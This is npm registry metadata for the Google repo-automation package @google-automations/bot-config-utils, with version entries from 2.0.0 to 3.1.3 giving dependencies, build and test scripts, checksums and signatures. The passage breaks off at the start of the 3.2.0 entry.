{"_id":"@google-automations/bot-config-utils","_rev":"27-50cf31e81e2d73b47e7f8132283f525e","name":"@google-automations/bot-config-utils","dist-tags":{"latest":"9.1.1"},"versions":{"2.0.0":{"name":"@google-automations/bot-config-utils","version":"2.0.0","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@2.0.0","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"6c67122bb2a2baef2a4362b505fc17640a0cabe6","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-2.0.0.tgz","fileCount":7,"integrity":"sha512-LyjQE9m+Q7wGG+ccwroIsacMCbDj1DVIyYAFaUXA2fCd8zrlSIy5tatnAahCgkx+L33wacyRkO2QKgQI9XzMcA==","signatures":[{"sig":"MEUCIDhFzXZBVMkVPVEyqvQ/wANrDm6HNvU/HLC1Pm6ChneiAiEA/eWIFub2H3VR6D5sps7klRpk8K8KxHxABR3axOX5U80=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":31618,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v3.0.13\r\nComment: https://openpgpjs.org\r\n\r\nwsFcBAEBCAAQBQJgpDA8CRA9TVsSAnZWagAABREQAImySTOJzj/0/qopayqr\nfpYr33PpUgFfvdLHIpQsmFLOQJWaE1q8Huf5LhsVByBgsu4tpzciBC3dzLbL\nw126pWGnIGG/Le1Gldb9kf8+ggO4OqJCYlD84o4XF+Yy+ShpNmay/Se3YIFQ\nEvxkvv/S00oq8pDne4wJqh2nifwMnBV66fXYpocHr2Ho1RuRAXfd+HyISww1\na4+Ihf8H/2ZJzxcGpBFDcRQ5Knk18DXOXWttGjrNdquy/bHpWqURhb2OfdPx\n/cRoQAcnFx43hMGLgO940iPvhoppNGkbK93tA1Z9VP7zGEPOA4gMNE+kdoZ8\nfdXwqP68ljkPlppGzlrg9EmJivxnkjI2A5AeCZ4bvm2j0cgvT8nW7+mMXm3W\nOqnEv9SL9qEA3NfxgT9Ls0VD0+gucxZAuaizwGAb9PwteaVzFIOza1nxVyAW\nNnyipfzz0B2sl5HtSV19zLQGnibAAthGCLpsEL+QBVQAYC4+w8dfSRLtTIWQ\nZrWm/4jR18AQYHh6SZLa7yPkH7tosKjK5s2CoC64fLkyo+6Jh0LaRRUtrr6i\nmlkA0YdfDgL5QWmXIIlRlfsDtcC7LcWMuyuYTNL9zQ+ptlvejYY/GPp5xOC5\nqZQH3k1ajRBAAMgrmi76K7ZepbEqspa8G5V7OdMfWd/bKl/MnQQK1yB6hDWu\nL2kh\r\n=5Q+k\r\n-----END PGP SIGNATURE-----\r\n"},"main":"./build/src/bot-config-utils.js","engines":{"node":">= 12.18.2"},"scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"6.14.11","description":"Utilities for github bot config","directories":{},"_nodeVersion":"12.22.0","dependencies":{"ajv":"^8.3.0","js-yaml":"^4.1.0","gcf-utils":"^7.2.2","@octokit/rest":"^18.5.3","@octokit/types":"^6.14.2"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.7.2","gts":"^3.1.0","chai":"^4.3.4","nock":"^13.0.11","mocha":"^8.4.0","sinon":"^10.0.0","dotenv":"^9.0.2","probot":"^11.3.0","cross-env":"^7.0.3","typescript":"^4.2.4","@types/chai":"^4.2.17","@types/node":"^15.0.3","@types/mocha":"^8.2.2","@types/sinon":"^10.0.0","snap-shot-it":"^7.9.6","chai-as-promised":"^7.1.1","@types/chai-as-promised":"^7.1.3"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_2.0.0_1621372987815_0.91219565333056","host":"s3://npm-registry-packages"}},"2.1.0":{"name":"@google-automations/bot-config-utils","version":"2.1.0","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@2.1.0","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"c4ea05d8c9c8942b74738b7aabec605b56df76d1","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-2.1.0.tgz","fileCount":7,"integrity":"sha512-LutThTg5MIk0+vBlf3S7fnYeXLK7lLX6ZFWD41KfqazTJhVKB5vxNjS658Xbh7+fh8KJAsZ3MzuRT9tpDcCcfQ==","signatures":[{"sig":"MEUCIHE3vh2B/HolxH0bp8wpjZSa3/aLjz7QIAvKpz8KawY6AiEA0DtJ8v2lEKbA5h+srmaS2OQjCSQboXSgRowMyadS1lY=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":33096,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v3.0.13\r\nComment: https://openpgpjs.org\r\n\r\nwsFcBAEBCAAQBQJgpWHqCRA9TVsSAnZWagAAh7sP/0KD4x4YrvmrR5QYUPqm\n5/F58m/LANcz8giBFCIdyO00Xgj3DI5pFCZquEXqNhO3C+raL2Divc2N4U+Q\n92GMWYFLR5oYDyWGuL8phdTe1jfUz2jGlubReNqSYvWPXzkuXmIrYDepo7zO\ntxZdGt6qgSVpmz/YxfLQb0byJu2gLvSPbVwAtq3nKS9/qq9GWK1PabwlZ4O6\n0Cq1gXBGiiHa7qtcNX0Lppi4S84v8F6xhrtC3uXYbnN2dqGwNT7fEqjOb/3n\nVpWGY+Em+Dc8MgSHdjulb4M+Agz32FU0PWsAhzCysWPHkIGbD5f6vmtSVYav\nDi63EDRJbT7snSJMSJwBYtBKqGbwKpV07CGbNi4QYLTcDbQJC2Hu4c71d7kk\nktViRIpveMR/itSopMKSknQdbDz8EKR1xusOesFldPWOWG4iD6tSz6jZZHxH\nUBmGIw0vHvURObG/OYfcXCXfoHoKj2usY+QOk3mQWLFvbHrQuMdBY8XNbMDv\npHqcbZAveWyxO3f4r/grL+uJy+//HCP2j1dxss4mwCi70nftIohKO6uap8Sq\nV6TQeKvSCWOiTo1qolRprir56FJiJFvzMu+BoISmtZkvkyn6Tp7gb+fKuOlZ\njhtAv5G0jPdKnVDTQszYWY2aPCnrKKNSHJrOiS/AjQuq+R/+vOEYiakkM4Lt\nKJqG\r\n=ztiT\r\n-----END PGP SIGNATURE-----\r\n"},"main":"./build/src/bot-config-utils.js","engines":{"node":">= 12.18.2"},"scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"6.14.11","description":"Utilities for github bot config","directories":{},"_nodeVersion":"12.22.0","dependencies":{"ajv":"^8.3.0","js-yaml":"^4.1.0","gcf-utils":"^7.2.2","@octokit/rest":"^18.5.3","@octokit/types":"^6.14.2"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.7.2","gts":"^3.1.0","chai":"^4.3.4","nock":"^13.0.11","mocha":"^8.4.0","sinon":"^10.0.0","dotenv":"^9.0.2","probot":"^11.3.0","cross-env":"^7.0.3","typescript":"^4.2.4","@types/chai":"^4.2.17","@types/node":"^15.0.3","@types/mocha":"^8.2.2","@types/sinon":"^10.0.0","snap-shot-it":"^7.9.6","chai-as-promised":"^7.1.1","@types/chai-as-promised":"^7.1.3"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_2.1.0_1621451241524_0.6534421669382531","host":"s3://npm-registry-packages"}},"3.0.0":{"name":"@google-automations/bot-config-utils","version":"3.0.0","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@3.0.0","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"141a72b446df732d131c208df725aa0f98cdccd2","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-3.0.0.tgz","fileCount":7,"integrity":"sha512-JOsvvZPnB+VWxdhMU+a5epM7tFRrFPyyzfd9Lk9uqtc8EqvjMr/n/7iMYvN/pB9vylBeslZVpyUhj9xiY1cqxA==","signatures":[{"sig":"MEQCICJ0b1nMdZqm61l3wQ+8E80VOM3Wc6DPgVKxuKMKsUF7AiAIp1SoGFBZmDoms8Xl7o+xY5yLoXb2gRgRBHJcrSsNFQ==","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":33660,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v3.0.13\r\nComment: https://openpgpjs.org\r\n\r\nwsFcBAEBCAAQBQJgpZ3jCRA9TVsSAnZWagAAkFQQAIMVjUfyyk8Ep6qybLtY\nzw9r3VNCPGHQkyWcGSVxT1e+JG0lLxZki9epF6PQ0NaDfxzpozdn13KUSK8G\njkNG7buLVnMl91cEQcNFAXPTZaALEAvVIYwsTnJsTzAunwnPJZOjUZCJ23Cm\nBcm441Rm/z6B7oetP6RzrAn3V9E4UpHNgT9QcSyAp7Nw/f3krBjQd8XMzd5J\n/9EPS1Gu+uRnDG+0HdOwh1XmQj76GpWGTVPW3jdMCVJcmnriqWa9U1IanTy0\ny+F1x5hmxtD6kHIdw0c6FUQUTCFieCCEdxJvdnuKM9xr2osGhrX8Rijkz3eN\nzb9IfLzNOkkl+MHQMLjYjDFZ7OYxFzLF7VHjbBiJ6BDW7MIe4RXXaqdXQwrL\nsodCEw6kBOHQQo5u//wr1SX0XYIbOZaD/jZwlYH/dPhMiFrqcDVfFE1iuyf+\ng50o6eFqocpOqujyApTpJOmhhnBYDJgqHZpV67UIcY6dZ9hHUyVh/iXo6pxG\nxwE3mKzTQsM1r91/cjGg2t6LOb5R92UlGsjM1LvFveiqPtVXhb3ypK/7dJXq\nfpSUaHErjomxcCGO+dwRECnMcrrojrs3oJSXOYlNKZcMGMzePUdF7GYJTwU5\nqAiaUMyvtScdsnGLKGqfKz3xFUxBOG3DsK6467e2oJwsFZMKwcX/aMldxWmI\nzgNc\r\n=YEwb\r\n-----END PGP SIGNATURE-----\r\n"},"main":"./build/src/bot-config-utils.js","engines":{"node":">= 12.18.2"},"scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"6.14.11","description":"Utilities for github bot config","directories":{},"_nodeVersion":"12.22.0","dependencies":{"ajv":"^8.3.0","js-yaml":"^4.1.0","gcf-utils":"^7.2.2","@octokit/rest":"^18.5.3","@octokit/types":"^6.14.2"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.7.2","gts":"^3.1.0","chai":"^4.3.4","nock":"^13.0.11","mocha":"^8.4.0","sinon":"^10.0.0","dotenv":"^9.0.2","probot":"^11.3.0","cross-env":"^7.0.3","typescript":"^4.2.4","@types/chai":"^4.2.17","@types/node":"^15.0.3","@types/mocha":"^8.2.2","@types/sinon":"^10.0.0","snap-shot-it":"^7.9.6","chai-as-promised":"^7.1.1","@types/chai-as-promised":"^7.1.3"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_3.0.0_1621466594853_0.33850014800492634","host":"s3://npm-registry-packages"}},"3.1.0":{"name":"@google-automations/bot-config-utils","version":"3.1.0","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@3.1.0","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"1eb64a8dd88a997e0ecfbc3d868b7f7f7b444528","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-3.1.0.tgz","fileCount":7,"integrity":"sha512-EXnHs3OHJf6k+OYUFHSQSdbPSBFcTQaNn0YsBKJ7FF0fkSjpK2T8TmtLbeK42n+uVqonIcPU9CEzvp6+AF9DcA==","signatures":[{"sig":"MEYCIQC+0Ijt9VTDmY/8ulRpNkylSsZRkeHJV0+XSTHn+dvOSQIhAPb/uilZvYh7vBvaIqUAQdGaNG4IxE9H2DtZYGWcHXGb","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":48692,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v3.0.13\r\nComment: https://openpgpjs.org\r\n\r\nwsFcBAEBCAAQBQJgsDt1CRA9TVsSAnZWagAAIpQP+wTvNB5xw/ZxUNijhfWn\nmqMxnVJCzuenGh9MhcTN/lsqnd/IuhaiSeFqfPk8SHcYQHJHK7QuKsAY4U44\nSJ4dt3EqmABRfV64PY/c5c3+ZWJvo9EugfnxZTHoBpKp5cWZKnzfHSDSMnkw\n/lLvFxtTFnVttRLGp0MRFqRFSxShuHAVxvPBQ8ZzKCyAjymK5wjBN9wsaYDt\nsTqjsWaCY6HT0tN6nAHEosV09ORi+PzTUpB+lsQIHSXwmRyDimkSSXb3Pu+Q\nEliFRG69fhv8JiqUnrd2/3cCt1c3HaQGhiKaQWKkhrAtjoS0bFx6XrURd2u2\n5S4z3yrnZkSHNbZcixtzMqklt7fG0BIl5+0QORBWdznYsb6opO1wJ7xmwrRw\nnCiGFWN9XznUvz2JTUmQxyMi3b3pSDgsetw1qPqeE1pwRaNKXzgAsXVzeX1T\nvktqMij0rNDf173aT0QUPU1/+SvA1k7nz5z5WAonMXnGStnOTLf9abSiJGHQ\njurT3u7oGCeN11VON8Xhllo2dI96S/Ty7jiJtWMYzE55Qb0zsJVbeSDsE2iN\na99l+f44PRdbWEruGPK0e0lkJA9+gqi2Yz4RU6nZTL5lFuqKlEv5hZaFm76e\nXXXTLLCPlgBcauO2yeqbJEecONDsHx7TxbEz5FJu1/cNKkOxUJfmY4n0SI86\nYPAB\r\n=d0Im\r\n-----END PGP SIGNATURE-----\r\n"},"main":"./build/src/bot-config-utils.js","engines":{"node":">= 12.18.2"},"scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"6.14.11","description":"Utilities for github bot config","directories":{},"_nodeVersion":"12.22.0","dependencies":{"ajv":"^8.3.0","js-yaml":"^4.1.0","gcf-utils":"^7.2.2","@octokit/rest":"^18.5.3","@octokit/types":"^6.14.2"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.7.2","gts":"^3.1.0","chai":"^4.3.4","nock":"^13.0.11","mocha":"^8.4.0","sinon":"^10.0.0","dotenv":"^10.0.0","probot":"^11.3.0","cross-env":"^7.0.3","typescript":"^4.2.4","@types/chai":"^4.2.17","@types/node":"^15.0.3","@types/mocha":"^8.2.2","@types/sinon":"^10.0.0","snap-shot-it":"^7.9.6","chai-as-promised":"^7.1.1","@types/chai-as-promised":"^7.1.3"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_3.1.0_1622162292407_0.5686225836400458","host":"s3://npm-registry-packages"}},"3.1.1":{"name":"@google-automations/bot-config-utils","version":"3.1.1","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@3.1.1","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"aeb626c0fbc03792105866a675e2e2c0aebb4f40","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-3.1.1.tgz","fileCount":7,"integrity":"sha512-OnqbFUxfRxAbw6WoFEL1TzAFzhg+PLJ61BBTJRafv7g2FVF1HIXt2v3F7Ow6jFZbvuT9KGKRPMMPuwEzhd+zyA==","signatures":[{"sig":"MEYCIQCci7buFdDXiEZc21cA6E538gUMpDAwdZ47YNBPSior/gIhAIFwUpl/gsqyMa6ok5aKzQnVU4RkJ8jULjHTdZkNJ4PS","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":49542,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v3.0.13\r\nComment: https://openpgpjs.org\r\n\r\nwsFcBAEBCAAQBQJgt8z5CRA9TVsSAnZWagAAKPUP/3E3GXIE99hoqtTusQag\n2/ZhWYzKNzqVALF+pkn0Bl13gpXHjbML01rvfr7ECKhJ/U0sYRTO5HhNIHTO\nNN6WUKTJyONlqmwb9CROmzKR0RFEsgpHdV1NA4GLHzt8Yab+9V/VJzLOLXdd\n71wTqCHIahNoyzF3/r8YBjpBk9DefIAT0r2ZikBfkeL9vo68nWUno96YpIwm\nSanrrUjsuxFoZ2fFXbFYjwWRcKK5A/Lw/iTAhV4dQtIfSahLy8wSQ6JZSZiM\nf31GkPYfkGKlqmdNWvf/rNuhqozQYj38WOfvCqc1z8FagBpvvzEKGq9Obw09\n7mYGzWz00WqQesrTJ0ZLkth6+CIlH1JlimyjIJPkmrPH4bH+6SNzL/KEfg/P\nPNTMdz2Y1uu9woGfJ6nGmP9VS8YGYmbwyabafekHG2pzOGmmHo+Y8lcYRs9C\nlOc7EgOgdgeCl8QpuPrat71lAR+yxHZBKi1CPCGX8wGmeP4AH3KUfRpakY3I\nM3RiltFaxWrAhtnFnnuP0g07paj2mOgyJ9upVl6iMg2/D+OkvmbalwyziLeJ\n7rZQZDavAoI4j3Z2zxArQIOKYVzezZkW8j4Vfq2fPCMfCXAmglxD70WJOV7J\nZnHQU79VCUXBsWYpi9ZE1iBg8c1FWzd6xD62us6g5IC1Ar7eUIm+CZKH/pLL\n2eib\r\n=4L08\r\n-----END PGP SIGNATURE-----\r\n"},"main":"./build/src/bot-config-utils.js","engines":{"node":">= 12.18.2"},"scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"6.14.11","description":"Utilities for github bot config","directories":{},"_nodeVersion":"12.22.0","dependencies":{"ajv":"^8.3.0","js-yaml":"^4.1.0","gcf-utils":"^7.2.2","@octokit/rest":"^18.5.3","@octokit/types":"^6.14.2"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.7.2","gts":"^3.1.0","chai":"^4.3.4","nock":"^13.0.11","mocha":"^8.4.0","sinon":"^11.0.0","dotenv":"^10.0.0","probot":"^11.3.0","cross-env":"^7.0.3","typescript":"^4.2.4","@types/chai":"^4.2.17","@types/node":"^15.0.3","@types/mocha":"^8.2.2","@types/sinon":"^10.0.0","snap-shot-it":"^7.9.6","chai-as-promised":"^7.1.1","@types/chai-as-promised":"^7.1.3"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_3.1.1_1622658297219_0.8593957681494806","host":"s3://npm-registry-packages"}},"3.1.2":{"name":"@google-automations/bot-config-utils","version":"3.1.2","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@3.1.2","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"01d5463cc9d04369a8896ff1ec4f15c9392e6170","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-3.1.2.tgz","fileCount":7,"integrity":"sha512-K19zXeVZanu4BjO6xqnhxAryVfxXdnnyZhzjiArLX8zylj1mmuG0eoAjHIEf7B4rjJAx0GvaWNGZzb1lSfYmtg==","signatures":[{"sig":"MEYCIQD571qbIMpjw7zvrJ7LKKPR/l9LNCAa5SMApJ0mCO/IzAIhAJ6NZ9LbqehfC/+LJqP3xv0Ht7u3Rbi0hCbOuYxm8pfi","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":50516,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v3.0.13\r\nComment: https://openpgpjs.org\r\n\r\nwsFcBAEBCAAQBQJgwEyQCRA9TVsSAnZWagAAS2QP/0c/VRAejvXjdE+xT6DR\nQXCpFQKyt60FjCNCV4YsVzn3tYhZtsTozqFJuwpX7H++mQ9XvuLZTfnrvhH5\nJOYmNvEnyabMJ+V7+WxWsYM9BbmU+h7sg8juqPsR2Um9yzoIi6O3/A3vAnMb\nQG2jnDorniXahcYrv3PVSRmAO2do4zl1p1i+5r6aIxIMUAx0GOdvI5T1N27X\nDY1zX0fK+lWsS3fOQFwSJ9/unKjyrCstZHW/KjpB7QNVRvb4WPxsjsjCChGm\nvuDXBlHOpy3w5z0CSEXPQsu+gurQCWB8hX5Xk0zdRniGNQXZbnuY4lPqdRjZ\nf1opd2rjRi8DF8q8bY12ujwZEKE5xNSD6f6S+/UEEDwcJErD2+NaBsyMFsPC\nNo42e6B8wwoXzJ2nlRTXy3vaP/GDMCUgmZJ3aLwlePdeMSMe+Lg/qSuethY1\nYPQjYRtWTrY9NpIFP33gwxUylaxYeQ7wNCkeP2T1sw+HvAwwrdYfsRgd51Jd\n0odJ8AlCagvyGJ40m5azrxex6A6qKr6KBpwu4l/8rdwn75Iz0JP4tYzXFrXK\nZh+FYmkAx/eu+kMVOLtPE0GASAkdIUeGJi2F8Hj2ZnJ6s1uaV7pApSUS9RuF\ntCdjCo/4qedApgUhR5NJ3XIWTTC0vhXavyL2J3/UoMCExV3gKEgTsB7XAJHO\nXsf3\r\n=i1Xl\r\n-----END PGP SIGNATURE-----\r\n"},"main":"./build/src/bot-config-utils.js","engines":{"node":">= 12.18.2"},"scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"6.14.11","description":"Utilities for github bot config","directories":{},"_nodeVersion":"12.22.0","dependencies":{"ajv":"^8.3.0","js-yaml":"^4.1.0","gcf-utils":"^8.0.1"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.7.2","gts":"^3.1.0","chai":"^4.3.4","nock":"^13.0.11","mocha":"^8.4.0","sinon":"^11.0.0","dotenv":"^10.0.0","cross-env":"^7.0.3","typescript":"^4.2.4","@types/chai":"^4.2.17","@types/node":"^15.0.3","@types/mocha":"^8.2.2","@types/sinon":"^10.0.0","snap-shot-it":"^7.9.6","chai-as-promised":"^7.1.1","@types/chai-as-promised":"^7.1.3"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_3.1.2_1623215248534_0.6141828461086207","host":"s3://npm-registry-packages"}},"3.1.3":{"name":"@google-automations/bot-config-utils","version":"3.1.3","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@3.1.3","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"48bd3ee5d216260703557e79df8e6bce1a1f31a3","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-3.1.3.tgz","fileCount":7,"integrity":"sha512-ffEwNx6nltooz0qwJtUM7qk1jgBVikbgHaKfER1SLBhMDMT0mtTHWuF56I9KoE0RY7dm8G/kUbpaQSTZrrSj2A==","signatures":[{"sig":"MEYCIQC9LFW6yPvd0uXix7fFMbWtHLA9PyH2TiO92jTmHtAWhQIhAMsOCSHWxQyQhWuI4HiMlp6hOjcF6dDZNtukBkcV2Uvo","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":50903,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v3.0.13\r\nComment: https://openpgpjs.org\r\n\r\nwsFcBAEBCAAQBQJgzRzRCRA9TVsSAnZWagAA4CMP+wXfJbMToBYknA86KzyH\nMZsEdw0eWXq1/aJmLW8C89lCzcpIdbDgFTzk0XCCfpr124L72A9zh2zZgDyp\ng5/mAyiHGTMXwb46mLqPD1xlxQcTF8G0UrRiHlr+342Z/4Ajbm6a73901dpP\nTLplQ6HXjjSDQSfpxmMSPVl96FztSMxj1W1uePGbEB4P6roVUBRVa6VoU+TT\nVrdRvLXFwpppRk+RihkAfXxOrxOT2OjcxcUQISft3lG1InPjnIgdZVgRjYI2\nOhDNDMmWA2dzkfIyoZmNN5J6ZriE3A+f0TO3eEUMPeCgqSIjNQaCl7diszpS\neGnbPLRyb7SlkKSNYKnx7PCjLi0qUrEtHWgsgSJIYbO0dYeIrT1trz0Ntnz1\nMC0UyEZ1xnZwFPuhehaQB9QThMSi3sIzXiM1wAJCTgPuKNhpxR9a1OONVcx5\nCEvUoWx2+KwVBzhsDa/62v8hb2zOizUbO2cA9BQchUjLOMzKPhNrdby6Ss43\nO7ygujq4lxcgwe6zmscM/f6EGe0vCuGBVBiKOhBSePWn2netrna10uFNk6G/\n1I+LRXizmzS3UWFtwm2eZcfqKduhMgQqXLbMU45bwfyyFZ3V+696B82a4J7B\n8xs9F3vhiXgXnuKi8ldWfjw54nG5H32Ef+8kMdw1PVlyj3mW6TLaRciga8Rm\nnlJO\r\n=gtWr\r\n-----END PGP SIGNATURE-----\r\n"},"main":"./build/src/bot-config-utils.js","engines":{"node":">= 12.18.2"},"scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"6.14.11","description":"Utilities for github bot config","directories":{},"_nodeVersion":"12.22.0","dependencies":{"ajv":"^8.6.0","js-yaml":"^4.1.0","gcf-utils":"^11.0.1"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.7.3","gts":"^3.1.0","chai":"^4.3.4","nock":"^13.1.0","mocha":"^9.0.1","sinon":"^11.1.1","dotenv":"^10.0.0","cross-env":"^7.0.3","typescript":"^4.3.4","@types/chai":"^4.2.18","@types/node":"^15.12.4","@types/mocha":"^8.2.2","@types/sinon":"^10.0.2","snap-shot-it":"^7.9.6","chai-as-promised":"^7.1.1","@types/chai-as-promised":"^7.1.4"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_3.1.3_1624054993046_0.9606804521626784","host":"s3://npm-registry-packages"}},"3.2.0":{"name":"@google-automations/bot-config-utils","version":"3.2.0","keywords":["Bot config","Probot"],"author":{"name":"Takashi 